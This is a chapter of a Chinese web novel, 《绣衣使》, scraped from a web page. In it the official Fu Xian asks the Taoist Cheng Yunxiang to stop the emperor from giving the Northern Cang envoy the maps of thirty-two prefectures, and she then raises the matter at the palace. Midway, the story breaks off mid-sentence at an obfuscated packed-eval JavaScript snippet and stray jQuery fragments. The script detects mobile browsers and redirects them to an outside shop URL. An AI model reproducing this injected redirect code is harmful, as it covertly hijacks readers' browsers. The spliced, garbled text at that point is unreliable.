11. 第 11 章
作品:《绣衣使》 程芸香迟滞一瞬才想起那日在宫门口远远瞥了一眼的影子,心道:我同他素不相识,怎的突然来访。“他……着官服还是常服?”难道要跟她说说甘泉观一带的治安等事宜?
素梨:“常服。”
不是以拱卫司指挥使的身份来的,看来是私事。她与他之间,能有什么私事?
“女郎从未与他打过交道。”素梨不放心地说道:“要不,推掉不见吧?”她们女郎什么身份,哪能随随便便就见人。
然而在好奇心的驱使下,程芸香沉思一会儿后说道:“先请傅大人到垂花厅一坐,我随后就来。”
她飞快地洗了把脸,抿了发,整了整崭新的道袍过去。傅咸听闻脚步起身站立,等主人走进来后抬袖行礼:“在下傅咸,多有打扰。”
程芸香稍稍将他打量一遍:一袭苍青色箭袖常服,身板颀然而长,面凝脂眼点漆,论皮囊当得起一句“人间琢玉郎”,生得极好。
“久闻傅大人大名,傅大人请坐吧,”她还礼后说道:“傅大人登门可是有事?”
见他看了眼素梨,程芸香给素梨使了个眼色,让她退下。素梨只得退到门外,紧紧绷着一颗心留意着厅中动静。
宾主落座后,傅咸垂眼又抬袖执礼,不绕弯子直接说道:“不知程道长可否听说,北苍使臣高尧这次前来,有一事为索要淮南江东诸州图册?”
他语调坦然,丝毫不拘谨。
“还未曾听说。”程芸香如实答道。心头有气,抱怨道:北苍这次来要的东西可真不少,钱,女人人,怎么还另加了个图册……
索要地图,这分明就是我要吞并你将你纳入版图的意思吧。
转念一想,不是,这事儿跟她有什么直接关系,傅咸巴巴地跑来告诉她这个做什么。下一瞬,傅咸便道明他的来意:“在下想请程道长出面说服陛下,后越国之图册万不可给北苍……”他似乎觉得这样求人过于生硬,声音放得低缓:“不知程道长能否帮这个忙?在下有重谢。”
程芸香:“……”这……傅大人,初次见面提这样的要求不觉得冒昧吗?要不是看在他长着一张养眼的脸上,肤浅如她立刻马上下逐客令。
她勉强平静地问道:“傅大人为何要阻止这件事?”来,给个理由,说服她。
傅咸起身趋近她三两步,声音又压低三成:“图册一给,则后越三十二州之地势,屯戍远近、户口多寡等情报,岂不是悉数被北苍得知?他日开战……”
人家北苍还不是对后越了如指掌,之后攻城略地如探囊取物。
他的话未尽已经说服了程芸香,她深深地看着他,额头上冒出细密的冷汗——北苍索要图册,她懂,一定是在为大兵南下灭后越做最后的准备……后越危矣。
她恨不能此刻飞进宫中,以死谏阻止宋玙答应北苍这件事。
但她面上平和地说道:“傅大人所说的事贫道不是很懂,但既然傅大人开了口,贫道很乐意为傅大人效力,试着劝阻陛下。”
她在心里道:这厮年岁不大心思缜密深沉思虑长远,有前途,不妨卖他个人情,日后说不定能为阿姊所用——毕竟在宸妃那个位子,后头没有强大的友军团势力依仗不行。
这想法让她暗暗大吃一惊:程平常说,程氏根基浅,不得考虑与人抱团巩固权势,所以他非常想跟临安城中的世家门阀联姻,先前总是为她留意那些家族的郎君们……
她从前嗤之以鼻,没想到却是听进去了。不过主意没打到门阀世家身上,而是看中了傅咸。
而傅咸听了她的话同样心想:此女依仗宸妃,有随时进出宫闱面君之利,若能为他所用就好了。二人心思回转间,都从对方身上看到了“可用”二字。
“户部今日在朝堂上说这一两日将图册整理出来,”他眸色幽深地说道:“还请程道长尽快。”
程芸香点点头。“在下与程道长素不相识,贸然来求程道长心中十分过意不去,”傅咸说道:“因而略备薄礼,还请程道长笑纳。”
程芸香本想拒绝,但又想知晓他会送什么礼,往外一看,见涟园门外立着个六七岁的胖娃儿,头顶囟门处留着一绺头发,两旁修剪出两个形似小犄角的鬌发,用浅蓝的发带扎着,圆圆脑瓜肉脸蛋,乌眼珠,白白胖胖的。
总角孩童具像化了,极是可爱。
他双手捧着个紫檀木的匣子。他走进来,将匣子交到傅咸手里,对着程芸香大大方方拱手一礼:“小九见过程道长。”程芸香眉眼一弯笑道:“你叫小九啊?”正想叫素梨拿东西来给他吃,忽然觉得热情过头了,遂打住投喂的念头。
打开匣子,金光四射,晃瞎人的眼睛。
有两锭金元宝,一对玉如意,两张南北朝名人字画,还有干雪莲一朵,雪蛤一瓶……
惊得程芸香眼神都直了,知道的是送礼,不知道的还以为傅大人这是来下聘呢,呵,玩笑。傅咸见她不接,诚意十足地道:“是先帝赏给傅家的,来路清白,程道长若看得上,但收无妨。”
哟,还挺懂人情世故的嘛。
程芸香抬手将箱子合上,说道:“傅大人此忙是为社稷安危而来,并不是私事,既是公事,贫道若收你的礼,不是显得傅大人你心术不正,而贫道与你做此勾当了吗?不妥不妥。”
拒收。
这番说辞圆滑、滴水不漏,令傅咸微愕,随之对她高看一眼:“那么程道长这次的人情,在下铭记在心。”
程芸香想开个玩笑问问他日后打算怎么报答,又觉得初次见面别吓着他,于是一本正经地说道:“傅大人言重了,贫道准备准备就进宫去见陛下。”
二人达成一致后,傅咸告辞。
“小九是傅大人什么人?”进屋后,素梨开始八卦。
那孩子太可爱了。
程芸香摇摇头:“不知,或许是小厮吧。”“岁数太小了吧。”素梨脸上露出悲悯之色:“能服侍人吗?”真叫人心疼。
“要不下次遇到傅大人,”程芸香戳着她的脑门笑道:“你当面问问他?”
素梨娇嗔:“婢子哪敢啊。”
“去拾掇拾掇,”程芸香换上正经的语气说道:“咱们进宫去一趟。”图册的事比天大,她无论如何都要阻止,绝不能让北苍使者将后越三十二州的图册带回去。
可是,要用怎样的话术说出来皇帝才肯听她的呢。程芸香苦思冥想勉强凑出一番干巴巴的说辞。恨不能作法一通将苏秦张仪的舌头借来一用。唉,到时候见机行事,能用的全用上搏一搏吧,只能如此。
旁晚时分,她走进宫门。平整洁净的鹅卵石道上,一番细雨,一番落英。来到椒房殿,里面不复往日丝竹管弦之音,一片寂静。
“娘娘念叨道长一天了,”女官孔玉迎出来:“道长还好吧?”“今日一切都很顺利,”程芸香提裙跟着她走:“娘娘在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066777|195138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做什么呢?”
“娘娘昨夜没睡着,”孔玉凝眉说道:“今日说心口闷疼,叫太医来扎了针,正在歇着。”程芸香不自觉加快脚步,到了寝殿,果见程芷香苍白着脸,半倚在贵妃榻上,两名宫女在给她喂药。
看见程芸香,她脸上忽然焕发神采来,笑着招手:“芸娘快到阿姊身边来坐,在涟园住得还好吗?”有宫女端着水来,程芸香净了手,在她阿姊身旁的矮榻上坐下凑过来:“好着呢,阿姊怎地病了?”
“这药好喝吗?”
说完作势就要尝一口。程芷香被她的模样逗笑:“怎么馋成这样?药哪有好喝的,苦死了。”正问东问西说着甘泉观的事,抬头一看窗外暮色苍茫正是晚饭时分,忙叫宫女去端饭菜来:“再拿一坛桃花酿来。”
“陛下不来阿姊这里用晚膳吗?”程芸香问。
“这会儿没过来,”程芷香说道:“或许就不来了吧。芸娘找陛下有事啊?”程芸香轻“嗯”了声。程芷香疑惑地看了她一眼,并不多问:“这会儿不来,便是晚些时候过来,你我先吃饭罢。”
宫女摆上来四道菜,火煨菌菇羊肉,八宝葫芦鸭,清蒸刀鱼,炒时蔬,一个花胶瑶柱鸽子汤。一碟子海棠酥。
程芸香笑道:“阿姊在家时就爱吃这几样菜,如今口味一点儿都没变。”程芷香:“我如今不爱吃八宝鸭了,这道菜都是你的,快吃吧。”说完将盘子推到亲妹跟前。
程芸香埋头干饭。一点儿都不馋那坛桃花酿,她今日有正经事,绝不饮酒省得误事。反正出宫的时候要顺走的。
程芷香看她吃得香,也吃下大半碗米饭。让宫女们激动的都要哭出来。不止一个太医说过,宸妃娘娘不孕这毛病跟她进食过少有很大干系……要是顿顿能这样吃,保管能三年抱俩。
“你一来我就吃多,”饭后,程芷香捏着妹子的脸蛋抱怨:“你怎的就这样下饭?”程芸香急忙挠她的胳肢窝迫她松手:“嘻嘻……”
姊妹二人嬉闹不停,程芷香面色转为红润,一扫先前的病色。“芸娘来了?”不知过去多久,帘外传来一道疲惫的嘶哑声音。
“陛下来了。”程芷香连忙整衣领着宫女起身迎出去。
之后帝妃二人挽着手臂走进来,程芸香连忙行礼:“见过陛下。”宋玙温和问道:“在甘泉观还习惯吧?”
“一下子就习惯了,”程芸香说道:“没有比陛下姐夫赏的园子住着更有面子的事儿了呢。”宋玙朗声笑起来:“小马屁精。”
程芷香问他用过晚膳没有,宋玙苦命地说道:“在上书房同范大人他们用了些。”问他还要不要再吃些,宋玙摆摆手:“倒是能与芸娘饮一杯桃花酿。”
“陛下姐夫,我这次来是找你说正经事的,”程芸香连忙推辞:“不敢饮酒。”“哦?”宋玙喝着茶润润喉笑道:“你有什么正经事啊?”
程芸香一本正经地拿眼睛瞟随侍在侧的宫女与太监,程芷香屏退他们而后笑道:“只有阿姊在这儿了,阿姊听得不?”
“阿姊自然听得,”程芸香肃然道:“陛下,听闻北苍使臣这次来除了要替他家三皇子说亲外,还想讨要后越三十二州的图册?”
“连你都听说了?”宋玙点点头:“是啊,说北苍皇帝命人重修天下图经,缺了淮南江南诸州。”
“陛下,”程芸香起身整衣,对着他一揖到底:“万不能给他们后越三十二州的图册。”

